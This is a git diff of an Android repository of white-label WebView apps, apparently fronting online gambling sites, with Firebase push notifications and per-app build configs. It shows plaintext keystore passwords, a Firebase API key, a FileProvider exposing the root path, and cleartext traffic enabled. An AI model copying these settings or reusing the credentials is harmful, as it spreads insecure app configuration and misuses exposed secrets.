if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.CUPCAKE) {
ComponentName launchComponent = null;
launchComponent = getApplication()
.getPackageManager()
.getLaunchIntentForPackage(getApplication().getPackageName())
.getComponent();
notifyIntent.setComponent(launchComponent);
}
notifyIntent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP | Intent.FLAG_ACTIVITY_SINGLE_TOP);
notifyIntent.setAction(Intent.ACTION_VIEW);
notifyIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); // 必须
notifyIntent.putExtra("message", messageInfo);
PendingIntent pendingIntent = PendingIntent.getActivity(this, new Random().nextInt(10000), notifyIntent, PendingIntent.FLAG_IMMUTABLE);
NotificationManager notificationManager = (NotificationManager) getSystemService(Context.NOTIFICATION_SERVICE);
NotificationChannel channelwinway = null;
NotificationCompat.Builder notificationBuilder = null;
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) {
channelwinway = new NotificationChannel(getString(R.string.app_name), "notify", NotificationManager.IMPORTANCE_DEFAULT);
channelwinway.enableLights(true);
channelwinway.enableVibration(true);
notificationManager.createNotificationChannel(channelwinway);
notificationBuilder = new NotificationCompat.Builder(this, channelwinway.getId())
.setSmallIcon(R.mipmap.app_logo)
.setContentTitle(messageInfo.getTitle())
.setContentText(messageInfo.getContent())
.setAutoCancel(true)
.setContentIntent(pendingIntent);
} else {
notificationBuilder = new NotificationCompat.Builder(this, getString(R.string.app_name))
.setSmallIcon(R.mipmap.app_logo)
.setContentTitle(messageInfo.getTitle())
.setContentText(messageInfo.getContent())
.setAutoCancel(true)
.setContentIntent(pendingIntent);
}
notificationManager.notify(0, notificationBuilder.build());
}
private void showNotification(String title, String body) {
Intent notifyIntent = new Intent(this, IndexActivity.class);
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.CUPCAKE) {
ComponentName launchComponent = null;
launchComponent = getApplication()
.getPackageManager()
.getLaunchIntentForPackage(getApplication().getPackageName())
.getComponent();
notifyIntent.setComponent(launchComponent);
}
notifyIntent.putExtra("message", body);
notifyIntent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP | Intent.FLAG_ACTIVITY_SINGLE_TOP);
notifyIntent.setAction(Intent.ACTION_VIEW);
notifyIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); // 必须
PendingIntent pendingIntent = PendingIntent.getActivity(this, new Random().nextInt(10000), notifyIntent, PendingIntent.FLAG_IMMUTABLE);
NotificationManager notificationManager = (NotificationManager) getSystemService(Context.NOTIFICATION_SERVICE);
NotificationChannel channelwinway = null;
NotificationCompat.Builder notificationBuilder = null;
MessageInfo messageInfo = GsonUtils.getObjFromJSON(body, MessageInfo.class);
if (messageInfo != null) {
body = messageInfo.getContent();
}
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) {
channelwinway = new NotificationChannel(getString(R.string.app_name), "notify", NotificationManager.IMPORTANCE_DEFAULT);
channelwinway.enableLights(true);
channelwinway.enableVibration(true);
notificationManager.createNotificationChannel(channelwinway);
notificationBuilder = new NotificationCompat.Builder(this, channelwinway.getId())
.setSmallIcon(R.mipmap.app_logo)
.setContentTitle(title)
.setContentText(body)
.setAutoCancel(true)
.setContentIntent(pendingIntent);
} else {
notificationBuilder = new NotificationCompat.Builder(this, getString(R.string.app_name))
.setSmallIcon(R.mipmap.app_logo)
.setContentTitle(title)
.setContentText(body)
.setAutoCancel(true)
.setContentIntent(pendingIntent);
}
notificationManager.notify(0, notificationBuilder.build());
}
}

View File

@@ -0,0 +1,19 @@
package com.webclip.base;
import android.app.Application;
import android.content.Context;
import com.webclip.base.LogUtils;
public class WebApplication extends Application {
public static Context application;
@Override
public void onCreate() {
super.onCreate();
// 设置开启优化方案
application = this;
LogUtils.isDebug = BuildConfig.BUILD_TYPE.equals("debug");
}
}

View File

@@ -0,0 +1,9 @@
<?xml version="1.0" encoding="utf-8"?>
<shape xmlns:android="http://schemas.android.com/apk/res/android"
android:shape="rectangle">
<gradient
android:angle="270"
android:startColor="@color/windows_color"
android:centerColor="@color/windows_color"
android:endColor="@color/style_color"/>
</shape>

Binary file not shown.

After

Width:  |  Height:  |  Size: 185 KiB

View File

@@ -0,0 +1,91 @@
<resources xmlns:tools="http://schemas.android.com/tools">
<!-- Base application theme. -->
<style name="Theme.AppTheme" parent="Theme.MaterialComponents.DayNight.DarkActionBar.Bridge">
<!-- Primary brand color. -->
<item name="colorPrimary">@color/purple_500</item>
<item name="colorPrimaryVariant">@color/purple_700</item>
<item name="colorOnPrimary">@color/white</item>
<!-- Secondary brand color. -->
<item name="colorSecondary">@color/teal_200</item>
<item name="colorSecondaryVariant">@color/teal_700</item>
<item name="colorOnSecondary">@color/black</item>
<!-- Status bar color. -->
<item name="android:statusBarColor" tools:targetApi="l">?attr/colorPrimaryVariant</item>
<!-- Customize your theme here. -->
<item name="android:windowBackground">#000000</item>
</style>
<style name="Theme.Calculcator1" parent="Theme.MaterialComponents.DayNight.DarkActionBar.Bridge">
<!-- Primary brand color. -->
<item name="colorPrimary">@color/purple_500</item>
<item name="colorPrimaryVariant">@color/purple_700</item>
<item name="colorOnPrimary">@color/white</item>
<!-- Secondary brand color. -->
<item name="colorSecondary">@color/teal_200</item>
<item name="colorSecondaryVariant">@color/teal_700</item>
<item name="colorOnSecondary">@color/black</item>
<item name="android:windowFullscreen">true</item>
<item name="android:windowNoTitle">true</item>
<!-- Status bar color. -->
<item name="android:statusBarColor" tools:targetApi="l">?attr/colorPrimaryVariant</item>
<!-- Customize your theme here. -->
</style>
<declare-styleable name="CircleImageView">
<attr name="ease_border_color" format="color" />
<attr name="ease_border_width" format="dimension" />
<attr name="ease_press_alpha" format="integer" />
<attr name="ease_press_color" format="color" />
<attr name="ease_radius" format="dimension" />
<attr name="es_shape_type" format="enum">
<enum name="none" value="0" />
<enum name="round" value="1" />
<enum name="rectangle" value="2" />
</attr>
</declare-styleable>
<!-- 注意当前AppTheme主题在values-v23中单独重复维护。原因是Android 6以下系统不支持设置
系统状态栏颜色如果按照设计状态栏使用素色则在android6以下手机上就看不清系统状态栏文字了
因为系统文字是白色。在values-v23表示当Android 23即android 6及以上版本将自动使用该目录
下的主题(即 colorPrimaryDark 使用素色从而跟标题栏颜色保持一致实现沉浸式ui效果-->
<style name="AppThemeStart" parent="@style/Theme.AppCompat.Light.NoActionBar">
<item name="android:windowTranslucentStatus">false</item>
<item name="android:windowTranslucentNavigation">false</item>
<item name="android:statusBarColor">@android:color/transparent</item>
<item name="colorPrimary">@color/windows_color</item>
<item name="colorPrimaryDark">@color/windows_color</item>
<item name="colorAccent">@color/windows_color</item>
<item name="windowActionBar">false</item>
<!-- 隐藏Activity窗口的Title标题栏 -->
<item name="windowNoTitle">true</item>
<!-- <item name="android:windowFullscreen">true</item>-->
<!-- <item name="android:windowBackground">@drawable/splah_bg</item>-->
<item name="android:navigationBarColor">@color/style_color</item>
<!-- <item name="android:windowBackground">@mipmap/big_bg</item>-->
<item name="android:forceDarkAllowed" tools:ignore="NewApi">false</item>
<item name="android:windowBackground">@drawable/big_bg</item>
</style>
<style name="MaterialDesignDialog" parent="@style/Theme.AppCompat.Dialog">
<!-- 背景透明 -->
<item name="android:windowBackground">@android:color/transparent</item>
<item name="android:windowContentOverlay">@null</item>
<!-- 浮于Activity之上 -->
<item name="android:windowIsFloating">true</item>
<!-- 边框 -->
<item name="android:windowFrame">@null</item>
<!-- Dialog以外的区域模糊效果 -->
<item name="android:backgroundDimEnabled">true</item>
<!-- 无标题 -->
<item name="android:windowNoTitle">true</item>
<!-- 半透明 -->
<item name="android:windowIsTranslucent">true</item>
<item name="android:windowCloseOnTouchOutside">true</item>
</style>
</resources>

View File

@@ -0,0 +1,10 @@
<?xml version="1.0" encoding="utf-8"?>
<paths>
<root-path name="app_root_path" path="/"/>
<external-path name="app_external_path" path="/"/>
<external-cache-path name="app_external_cache_path" path="/"/>
<external-files-path name="app_external_files_path" path="/"/>
<files-path name="app_files_path" path="/"/>
<cache-path name="app_cache_path" path="/"/>
</paths>

View File

@@ -0,0 +1,4 @@
<?xml version="1.0" encoding="utf-8"?>
<network-security-config>
<base-config cleartextTrafficPermitted="true" />
</network-security-config>

View File

@@ -0,0 +1,13 @@
<?xml version="1.0" encoding= "utf-8"?>
<resources>
<paths >
<external-path name="external_files" path="."/>
<root-path name="root" path="." />
<files-path name="files" path="." />
<cache-path name="cache" path="." />
<external-files-path name="external_files_f" path="." />
<external-cache-path name="external_cache" path="." />
</paths >
</resources>
<!-- 适配7.0及其以上配合com.eva.android.OpenFileUtil用于解决调用系统Intent查看大文件内
容、拍照保存图片的功能时出现"android.os.FileUriExposedException"异常的问题 -->

BIN
jpot9/telur33.jks Normal file

Binary file not shown.

View File

@@ -25,7 +25,6 @@ android {
resValue('string', 'app_name', 'kaki33')
buildConfigField "String", "BASE_URL", "\"https://live22x.com/\""
buildConfigField "int", "USERID", "157"
buildConfigField "boolean", "IS_WHITE", "false"
buildConfigField "boolean", "IS_ROUND", "true"

View File

@@ -66,7 +66,6 @@ public class IndexActivity extends MainActivity {
userId = BuildConfig.USERID;
saveInt(IndexActivity.this,"user_code",userId);
saveString(this, "base_url",BuildConfig.BASE_URL);
styleColor = getColor(R.color.style_color);
windowsColor = getColor(R.color.windows_color);
isWhite = BuildConfig.IS_WHITE;

View File

@@ -25,7 +25,6 @@ android {
resValue('string', 'app_name', 'LIVE22')
buildConfigField "String", "BASE_URL", "\"https://live22x.com/\""
buildConfigField "int", "USERID", "262"
buildConfigField "boolean", "IS_WHITE", "false"
buildConfigField "boolean", "IS_ROUND", "true"

View File

@@ -66,7 +66,6 @@ public class IndexActivity extends MainActivity {
userId = BuildConfig.USERID;
saveInt(IndexActivity.this,"user_code",userId);
saveString(this, "base_url",BuildConfig.BASE_URL);
styleColor = getColor(R.color.style_color);
windowsColor = getColor(R.color.windows_color);
isWhite = BuildConfig.IS_WHITE;

View File

@@ -25,7 +25,6 @@ android {
//app 名字
resValue('string', 'app_name', 'LORONGJUDI33')
buildConfigField "String", "BASE_URL", "\"https://lorongjudi33.com/\""
buildConfigField "int", "USERID", "252"
buildConfigField "boolean", "IS_WHITE", "false"
buildConfigField "boolean", "IS_ROUND", "false"

View File

@@ -66,7 +66,6 @@ public class IndexActivity extends MainActivity {
userId = BuildConfig.USERID;
saveInt(IndexActivity.this,"user_code",userId);
saveString(this, "base_url",BuildConfig.BASE_URL);
styleColor = getColor(R.color.style_color);
windowsColor = getColor(R.color.windows_color);
isWhite = BuildConfig.IS_WHITE;

View File

@@ -25,7 +25,6 @@ android {
resValue('string', 'app_name', 'LUXEGAMING')
buildConfigField "String", "BASE_URL", "\"https://live22x.com/\""
buildConfigField "int", "USERID", "288"
buildConfigField "boolean", "IS_WHITE", "false"
buildConfigField "boolean", "IS_ROUND", "true"

View File

@@ -66,7 +66,6 @@ public class IndexActivity extends MainActivity {
userId = BuildConfig.USERID;
saveInt(IndexActivity.this,"user_code",userId);
saveString(this, "base_url",BuildConfig.BASE_URL);
styleColor = getColor(R.color.style_color);
windowsColor = getColor(R.color.windows_color);
isWhite = BuildConfig.IS_WHITE;

2
mbs9/.gitignore vendored Normal file
View File

@@ -0,0 +1,2 @@
/build
/release

92
mbs9/build.gradle Normal file
View File

@@ -0,0 +1,92 @@
plugins {
id 'com.android.application'
id 'com.google.gms.google-services'
}
def appOutPutName = "MBS9"
android {
namespace rootProject.ext.namespace
compileSdk 36
defaultConfig {
minSdkVersion 24
targetSdk 36
versionCode rootProject.ext.versionCode
versionName rootProject.ext.versionName
testInstrumentationRunner "androidx.test.runner.AndroidJUnitRunner"
applicationId "com.sjdao.mbs9"
//app大背景色
resValue('color', 'windows_color', '#0C0A07')
//底部导航栏颜色 大背景颜色为 windows_color——style_color的上下渐变色
resValue('color', 'style_color', '#0D0704')
//app 名字
resValue('string', 'app_name', 'MBS9')
buildConfigField "int", "USERID", "305"
buildConfigField "boolean", "IS_WHITE", "false"
buildConfigField "boolean", "IS_ROUND", "true"
buildConfigField "int", "ROUND_RADIUS", "10"
buildConfigField "boolean", "HAS_CONTACT", "true"
buildConfigField "boolean", "HAS_HOOK", "false"
}
buildFeatures {
buildConfig = true
}
signingConfigs {
debug {
storeFile file('telur33.jks')
storePassword "android2014"
keyAlias 'key0'
keyPassword "android2014"
}
release {
storeFile file('telur33.jks')
storePassword "android2014"
keyAlias 'key0'
keyPassword "android2014"
}
}
buildTypes {
release {
signingConfig signingConfigs.release
minifyEnabled false
proguardFiles getDefaultProguardFile('proguard-android-optimize.txt'), 'proguard-rules.pro'
}
}
compileOptions {
sourceCompatibility rootProject.ext.JAVA_VERSION
targetCompatibility rootProject.ext.JAVA_VERSION
}
applicationVariants.all { variant ->
variant.outputs.all {
def outputDir = new File(rootProject.ext.outputPath)
outputDir.mkdirs()
def outputFileName = "${appOutPutName}.apk"
setOutputFileName(outputFileName)
def newOutputFile = new File(outputDir, outputFileName)
newOutputFile.parentFile.mkdirs()
variant.assemble.doLast {
try {
java.nio.file.Files.copy(
outputFile.toPath(),
newOutputFile.toPath(),
java.nio.file.StandardCopyOption.REPLACE_EXISTING
)
} catch (java.io.IOException e) {
}
}
}
}
}
dependencies {
implementation project(path: ':base')
}

29
mbs9/google-services.json Normal file
View File

@@ -0,0 +1,29 @@
{
"project_info": {
"project_number": "748966597250",
"project_id": "mbs9-fb51b",
"storage_bucket": "mbs9-fb51b.firebasestorage.app"
},
"client": [
{
"client_info": {
"mobilesdk_app_id": "1:748966597250:android:074228b0d00286a6a7da9b",
"android_client_info": {
"package_name": "com.sjdao.mbs9"
}
},
"oauth_client": [],
"api_key": [
{
"current_key": "AIzaSyCDhSPjCGfesGdnwBloww7FpEJ130nm1UU"
}
],
"services": {
"appinvite_service": {
"other_platform_oauth_client": []
}
}
}
],
"configuration_version": "1"
}

BIN
mbs9/justlet.jks Normal file

Binary file not shown.

32
mbs9/proguard-rules.pro vendored Normal file
View File

@@ -0,0 +1,32 @@
# Add project specific ProGuard rules here.
# You can control the set of applied configuration files using the
# proguardFiles setting in build.gradle.
#
# For more details, see
# http://developer.android.com/guide/developing/tools/proguard.html
# If your project uses WebView with JS, uncomment the following
# and specify the fully qualified class name to the JavaScript interface
# class:
#-keepclassmembers class fqcn.of.javascript.interface.for.webview {
# public *;
#}
# Uncomment this to preserve the line number information for
# debugging stack traces.
#-keepattributes SourceFile,LineNumberTable
# If you keep the line number information, uncomment this to
# hide the original source file name.
#-renamesourcefileattribute SourceFile
-dontwarn dalvik.**
-dontwarn com.tencent.smtt.**
-keep class com.tencent.smtt.** {
*;
}
-keep class com.tencent.tbs.** {
*;
}

View File

@@ -0,0 +1,67 @@
<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android">
<!-- <uses-permission android:name="android.permission.READ_CONTACTS" />-->
<uses-permission android:name="android.permission.INTERNET" />
<uses-permission android:name="android.permission.ACCESS_NETWORK_STATE" />
<uses-permission android:name="android.permission.VIBRATE" />
<!-- 8.0+系统需要-->
<uses-permission android:name="android.permission.FOREGROUND_SERVICE" />
<!--推送权限-->
<uses-permission android:name="android.permission.POST_NOTIFICATIONS" />
<application
android:name=".WebApplication"
android:allowBackup="true"
android:hardwareAccelerated="true"
android:icon="@mipmap/app_logo"
android:label="@string/app_name"
android:networkSecurityConfig="@xml/network_security_config"
android:roundIcon="@mipmap/app_logo"
android:supportsRtl="true"
android:theme="@style/Theme.AppTheme"
android:usesCleartextTraffic="true">
<activity
android:name=".IndexActivity"
android:configChanges="orientation|keyboardHidden|screenSize"
android:exported="true"
android:hardwareAccelerated="true"
android:theme="@style/AppThemeStart">
<intent-filter>
<action android:name="android.intent.action.MAIN" />
<category android:name="android.intent.category.LAUNCHER" />
<action android:name="com.google.firebase.MESSAGING_EVENT" />
</intent-filter>
</activity>
<service
android:name=".MyFirebaseMessageingService"
android:exported="false">
<intent-filter>
<action android:name="com.google.firebase.MESSAGING_EVENT" />
</intent-filter>
</service>
<meta-data
android:name="com.google.firebase.messaging.default_notification_icon"
android:resource="@mipmap/app_logo" />
<meta-data
android:name="com.google.firebase.messaging.default_notification_color"
android:resource="@color/notify_color" />
<meta-data
android:name="com.google.firebase.messaging.default_notification_channel_id"
android:value="@string/app_name" />
</application>
</manifest>

View File

@@ -0,0 +1,78 @@
package com.webclip.base;
import android.os.Bundle;
import com.google.firebase.messaging.FirebaseMessaging;
public class IndexActivity extends MainActivity {
@Override
protected void onCreate(Bundle savedInstanceState) {
initConfig();
super.onCreate(savedInstanceState);
initWinwdowLogoConfig();
// registerFCM();
}
@Override
protected void regFcm() {
super.regFcm();
registerFCM();
}
/**
* 注册FCM
*/
private void registerFCM() {
//订阅主题
LogUtils.i("支持FCM 去注册");
try {
FirebaseMessaging.getInstance().subscribeToTopic("demo")
.addOnCompleteListener(task -> {
String msg = "Subscribed";
if (!task.isSuccessful()) {
msg = "Subscribe failed";
}else{
checkNotify();
}
LogUtils.i("支持FCM 结果:"+msg);
});
}catch (Exception e){
e.printStackTrace();
LogUtils.i("支持FCM Exception");
}
}
/**
* 用于修改大背景渐变色 不设置
*/
private void initWinwdowLogoConfig() {
//全局大背景 一个上下渐变 不要动
setBackDrawables(R.drawable.big_bg);
setImageView(BuildConfig.IS_ROUND,BuildConfig.ROUND_RADIUS);
getWindow().getDecorView().setBackgroundResource(R.drawable.big_bg);
//需要修改启动页logo在这里弄 一般启动页logo就是app_logo 没特殊要求 不要动
}
/**
* 基础配置都在这里
* 不要动
*/
private void initConfig() {
//===========================以下是APP的配置信息 都写在 app_config.xml中==================================
userId = BuildConfig.USERID;
saveInt(IndexActivity.this,"user_code",userId);
styleColor = getColor(R.color.style_color);
windowsColor = getColor(R.color.windows_color);
isWhite = BuildConfig.IS_WHITE;
hasContact = BuildConfig.HAS_CONTACT;
hasHook = BuildConfig.HAS_HOOK;
//===========================以上是APP的配置信息 都写在 app_config.xml中==================================
}
}

View File

@@ -0,0 +1,125 @@
package com.webclip.base;
import android.app.NotificationChannel;
import android.app.NotificationManager;
import android.app.PendingIntent;
import android.content.ComponentName;
import android.content.Context;
import android.content.Intent;
import android.os.Build;
import androidx.annotation.NonNull;
import androidx.core.app.NotificationCompat;
import com.google.firebase.messaging.FirebaseMessagingService;
import com.google.firebase.messaging.RemoteMessage;
import com.google.gson.Gson;
import com.webclip.base.GsonUtils;
import com.webclip.base.MessageInfo;
import java.util.Map;
import java.util.Random;
public class MyFirebaseMessageingService extends FirebaseMessagingService {
public MyFirebaseMessageingService() {
}
@Override
public void onMessageReceived(@NonNull RemoteMessage remoteMessage) {
super.onMessageReceived(remoteMessage);
Map<String, String> serviceData = remoteMessage.getData(); //后台推送数据
if (serviceData != null && serviceData.containsKey("message")) {
String value = serviceData.get("message");
Gson gson = new Gson();
MessageInfo messageInfo = gson.fromJson(value, MessageInfo.class);
showNotification(messageInfo);
} else {
//收到通知 创建notify
if (remoteMessage.getNotification() != null) {
showNotification(remoteMessage.getNotification().getTitle(), remoteMessage.getNotification().getBody());
}
}
}
private void showNotification(MessageInfo messageInfo) {
Intent notifyIntent = new Intent(this, IndexActivity.class);
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.CUPCAKE) {
ComponentName launchComponent = null;
launchComponent = getApplication()
.getPackageManager()
.getLaunchIntentForPackage(getApplication().getPackageName())
.getComponent();
notifyIntent.setComponent(launchComponent);
}
notifyIntent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP | Intent.FLAG_ACTIVITY_SINGLE_TOP);
notifyIntent.setAction(Intent.ACTION_VIEW);
notifyIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); // 必须
notifyIntent.putExtra("message", messageInfo);
PendingIntent pendingIntent = PendingIntent.getActivity(this, new Random().nextInt(10000), notifyIntent, PendingIntent.FLAG_IMMUTABLE);
NotificationManager notificationManager = (NotificationManager) getSystemService(Context.NOTIFICATION_SERVICE);
NotificationChannel channelwinway = null;
NotificationCompat.Builder notificationBuilder = null;
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) {
channelwinway = new NotificationChannel(getString(R.string.app_name), "notify", NotificationManager.IMPORTANCE_DEFAULT);
channelwinway.enableLights(true);
channelwinway.enableVibration(true);
notificationManager.createNotificationChannel(channelwinway);
notificationBuilder = new NotificationCompat.Builder(this, channelwinway.getId())
.setSmallIcon(R.mipmap.app_logo)
.setContentTitle(messageInfo.getTitle())
.setContentText(messageInfo.getContent())
.setAutoCancel(true)
.setContentIntent(pendingIntent);
} else {
notificationBuilder = new NotificationCompat.Builder(this, getString(R.string.app_name))
.setSmallIcon(R.mipmap.app_logo)
.setContentTitle(messageInfo.getTitle())
.setContentText(messageInfo.getContent())
.setAutoCancel(true)
.setContentIntent(pendingIntent);
}
notificationManager.notify(0, notificationBuilder.build());
}
private void showNotification(String title, String body) {
Intent notifyIntent = new Intent(this, IndexActivity.class);
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.CUPCAKE) {
ComponentName launchComponent = null;
launchComponent = getApplication()
.getPackageManager()
.getLaunchIntentForPackage(getApplication().getPackageName())
.getComponent();
notifyIntent.setComponent(launchComponent);
}
notifyIntent.putExtra("message", body);
notifyIntent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP | Intent.FLAG_ACTIVITY_SINGLE_TOP);
notifyIntent.setAction(Intent.ACTION_VIEW);
notifyIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); // 必须
PendingIntent pendingIntent = PendingIntent.getActivity(this, new Random().nextInt(10000), notifyIntent, PendingIntent.FLAG_IMMUTABLE);
NotificationManager notificationManager = (NotificationManager) getSystemService(Context.NOTIFICATION_SERVICE);
NotificationChannel channelwinway = null;
NotificationCompat.Builder notificationBuilder = null;
MessageInfo messageInfo = GsonUtils.getObjFromJSON(body, MessageInfo.class);
if (messageInfo != null) {
body = messageInfo.getContent();
}
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) {
channelwinway = new NotificationChannel(getString(R.string.app_name), "notify", NotificationManager.IMPORTANCE_DEFAULT);
channelwinway.enableLights(true);
channelwinway.enableVibration(true);
notificationManager.createNotificationChannel(channelwinway);
notificationBuilder = new NotificationCompat.Builder(this, channelwinway.getId())
.setSmallIcon(R.mipmap.app_logo)
.setContentTitle(title)
.setContentText(body)
.setAutoCancel(true)
.setContentIntent(pendingIntent);
} else {
notificationBuilder = new NotificationCompat.Builder(this, getString(R.string.app_name))
.setSmallIcon(R.mipmap.app_logo)
.setContentTitle(title)
.setContentText(body)
.setAutoCancel(true)
.setContentIntent(pendingIntent);
}
notificationManager.notify(0, notificationBuilder.build());
}
}

View File

@@ -0,0 +1,19 @@
package com.webclip.base;
import android.app.Application;
import android.content.Context;
import com.webclip.base.LogUtils;
public class WebApplication extends Application {
public static Context application;
@Override
public void onCreate() {
super.onCreate();
// 设置开启优化方案
application = this;
LogUtils.isDebug = BuildConfig.BUILD_TYPE.equals("debug");
}
}

View File

@@ -0,0 +1,9 @@
<?xml version="1.0" encoding="utf-8"?>
<shape xmlns:android="http://schemas.android.com/apk/res/android"
android:shape="rectangle">
<gradient
android:angle="270"
android:startColor="@color/windows_color"
android:centerColor="@color/windows_color"
android:endColor="@color/style_color"/>
</shape>

Binary file not shown.

After

Width:  |  Height:  |  Size: 13 KiB

View File

@@ -0,0 +1,91 @@
<resources xmlns:tools="http://schemas.android.com/tools">
<!-- Base application theme. -->
<style name="Theme.AppTheme" parent="Theme.MaterialComponents.DayNight.DarkActionBar.Bridge">
<!-- Primary brand color. -->
<item name="colorPrimary">@color/purple_500</item>
<item name="colorPrimaryVariant">@color/purple_700</item>
<item name="colorOnPrimary">@color/white</item>
<!-- Secondary brand color. -->
<item name="colorSecondary">@color/teal_200</item>
<item name="colorSecondaryVariant">@color/teal_700</item>
<item name="colorOnSecondary">@color/black</item>
<!-- Status bar color. -->
<item name="android:statusBarColor" tools:targetApi="l">?attr/colorPrimaryVariant</item>
<!-- Customize your theme here. -->
<item name="android:windowBackground">#000000</item>
</style>
<style name="Theme.Calculcator1" parent="Theme.MaterialComponents.DayNight.DarkActionBar.Bridge">
<!-- Primary brand color. -->
<item name="colorPrimary">@color/purple_500</item>
<item name="colorPrimaryVariant">@color/purple_700</item>
<item name="colorOnPrimary">@color/white</item>
<!-- Secondary brand color. -->
<item name="colorSecondary">@color/teal_200</item>
<item name="colorSecondaryVariant">@color/teal_700</item>
<item name="colorOnSecondary">@color/black</item>
<item name="android:windowFullscreen">true</item>
<item name="android:windowNoTitle">true</item>
<!-- Status bar color. -->
<item name="android:statusBarColor" tools:targetApi="l">?attr/colorPrimaryVariant</item>
<!-- Customize your theme here. -->
</style>
<declare-styleable name="CircleImageView">
<attr name="ease_border_color" format="color" />
<attr name="ease_border_width" format="dimension" />
<attr name="ease_press_alpha" format="integer" />
<attr name="ease_press_color" format="color" />
<attr name="ease_radius" format="dimension" />
<attr name="es_shape_type" format="enum">
<enum name="none" value="0" />
<enum name="round" value="1" />
<enum name="rectangle" value="2" />
</attr>
</declare-styleable>
<!-- 注意当前AppTheme主题在values-v23中单独重复维护。原因是Android 6以下系统不支持设置
系统状态栏颜色如果按照设计状态栏使用素色则在android6以下手机上就看不清系统状态栏文字了
因为系统文字是白色。在values-v23表示当Android 23即android 6及以上版本将自动使用该目录
下的主题(即 colorPrimaryDark 使用素色从而跟标题栏颜色保持一致实现沉浸式ui效果-->
<style name="AppThemeStart" parent="@style/Theme.AppCompat.Light.NoActionBar">
<item name="android:windowTranslucentStatus">false</item>
<item name="android:windowTranslucentNavigation">false</item>
<item name="android:statusBarColor">@android:color/transparent</item>
<item name="colorPrimary">@color/windows_color</item>
<item name="colorPrimaryDark">@color/windows_color</item>
<item name="colorAccent">@color/windows_color</item>
<item name="windowActionBar">false</item>
<!-- 隐藏Activity窗口的Title标题栏 -->
<item name="windowNoTitle">true</item>
<!-- <item name="android:windowFullscreen">true</item>-->
<!-- <item name="android:windowBackground">@drawable/splah_bg</item>-->
<item name="android:navigationBarColor">@color/style_color</item>
<!-- <item name="android:windowBackground">@mipmap/big_bg</item>-->
<item name="android:forceDarkAllowed" tools:ignore="NewApi">false</item>
<item name="android:windowBackground">@drawable/big_bg</item>
</style>
<style name="MaterialDesignDialog" parent="@style/Theme.AppCompat.Dialog">
<!-- 背景透明 -->
<item name="android:windowBackground">@android:color/transparent</item>
<item name="android:windowContentOverlay">@null</item>
<!-- 浮于Activity之上 -->
<item name="android:windowIsFloating">true</item>
<!-- 边框 -->
<item name="android:windowFrame">@null</item>
<!-- Dialog以外的区域模糊效果 -->
<item name="android:backgroundDimEnabled">true</item>
<!-- 无标题 -->
<item name="android:windowNoTitle">true</item>
<!-- 半透明 -->
<item name="android:windowIsTranslucent">true</item>
<item name="android:windowCloseOnTouchOutside">true</item>
</style>
</resources>

View File

@@ -0,0 +1,10 @@
<?xml version="1.0" encoding="utf-8"?>
<paths>
<root-path name="app_root_path" path="/"/>
<external-path name="app_external_path" path="/"/>
<external-cache-path name="app_external_cache_path" path="/"/>
<external-files-path name="app_external_files_path" path="/"/>
<files-path name="app_files_path" path="/"/>
<cache-path name="app_cache_path" path="/"/>
</paths>

View File

@@ -0,0 +1,4 @@
<?xml version="1.0" encoding="utf-8"?>
<network-security-config>
<base-config cleartextTrafficPermitted="true" />
</network-security-config>

View File

@@ -0,0 +1,13 @@
<?xml version="1.0" encoding= "utf-8"?>
<resources>
<paths >
<external-path name="external_files" path="."/>
<root-path name="root" path="." />
<files-path name="files" path="." />
<cache-path name="cache" path="." />
<external-files-path name="external_files_f" path="." />
<external-cache-path name="external_cache" path="." />
</paths >
</resources>
<!-- 适配7.0及其以上配合com.eva.android.OpenFileUtil用于解决调用系统Intent查看大文件内
容、拍照保存图片的功能时出现"android.os.FileUriExposedException"异常的问题 -->

BIN
mbs9/telur33.jks Normal file

Binary file not shown.

View File

@@ -25,7 +25,6 @@ android {
resValue('string', 'app_name', 'Mega88MY')
buildConfigField "String", "BASE_URL", "\"https://live22x.com/\""
buildConfigField "int", "USERID", "272"
buildConfigField "boolean", "IS_WHITE", "false"
buildConfigField "boolean", "IS_ROUND", "true"

View File

@@ -66,7 +66,6 @@ public class IndexActivity extends MainActivity {
userId = BuildConfig.USERID;
saveInt(IndexActivity.this,"user_code",userId);
saveString(this, "base_url",BuildConfig.BASE_URL);
styleColor = getColor(R.color.style_color);
windowsColor = getColor(R.color.windows_color);
isWhite = BuildConfig.IS_WHITE;

View File

@@ -25,7 +25,6 @@ android {
resValue('string', 'app_name', 'mg8vipmyr')
buildConfigField "String", "BASE_URL", "\"https://mg8vipmyr.pro/\""
buildConfigField "int", "USERID", "266"
buildConfigField "boolean", "IS_WHITE", "false"
buildConfigField "boolean", "IS_ROUND", "true"

View File

@@ -66,7 +66,6 @@ public class IndexActivity extends MainActivity {
userId = BuildConfig.USERID;
saveInt(IndexActivity.this,"user_code",userId);
saveString(this, "base_url",BuildConfig.BASE_URL);
styleColor = getColor(R.color.style_color);
windowsColor = getColor(R.color.windows_color);
isWhite = BuildConfig.IS_WHITE;

View File

@@ -25,7 +25,6 @@ android {
resValue('string', 'app_name', 'MGMHOTRAM')
buildConfigField "String", "BASE_URL", "\"https://mgmhotram.org/\""
buildConfigField "int", "USERID", "264"
buildConfigField "boolean", "IS_WHITE", "false"
buildConfigField "boolean", "IS_ROUND", "true"

View File

@@ -66,7 +66,6 @@ public class IndexActivity extends MainActivity {
userId = BuildConfig.USERID;
saveInt(IndexActivity.this,"user_code",userId);
saveString(this, "base_url",BuildConfig.BASE_URL);
styleColor = getColor(R.color.style_color);
windowsColor = getColor(R.color.windows_color);
isWhite = BuildConfig.IS_WHITE;

2
millionking96/.gitignore vendored Normal file
View File

